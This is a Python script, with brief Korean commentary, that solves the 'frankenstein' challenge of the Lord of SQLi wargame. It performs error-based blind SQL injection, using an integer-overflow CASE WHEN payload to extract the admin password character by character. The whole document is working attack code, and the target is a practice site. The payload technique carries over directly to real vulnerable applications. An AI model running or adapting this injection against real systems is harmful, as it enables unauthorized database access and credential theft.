import requests
#쿠키 설정
cookies = {'PHPSESSID': '쿠키 값'}
#기본 설정
password = ""
#pw 구하기
while(1) :
check = 1
for i in range(48,127) :
parameter = "?pw=' or id='admin' and case when pw like \""+password+chr(i)+"%\"then 0xffffffffffffffff*0x2 end--+-"
url = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php' + parameter
res = requests.get(url=url, timeout = 10, cookies=cookies)
search = "error"
result = res.text.find(search)
#쿼리 에러 발생O : 위치 180 대
#쿼리 에러 방생X : 위치 2500 대
if result != -1 and result < 1000 :
print("p : "+chr(i))
password = password + chr(i)
check = 0
if check == 1 :
break
print("password : "+password)
< 실행 결과 >
여기서 mysql 특징상 대소문자를 구분하지 않으므로 영문자가 7자리이므로 2의 7승만큼 바꿔가면서 돌리면 풀 수 있습니다.
사실 지금까지 푼 문제의 모든 답이 소문자임을 봤을 때 모든 영문자를 소문자로 바꾸면 풀 수 있습니다.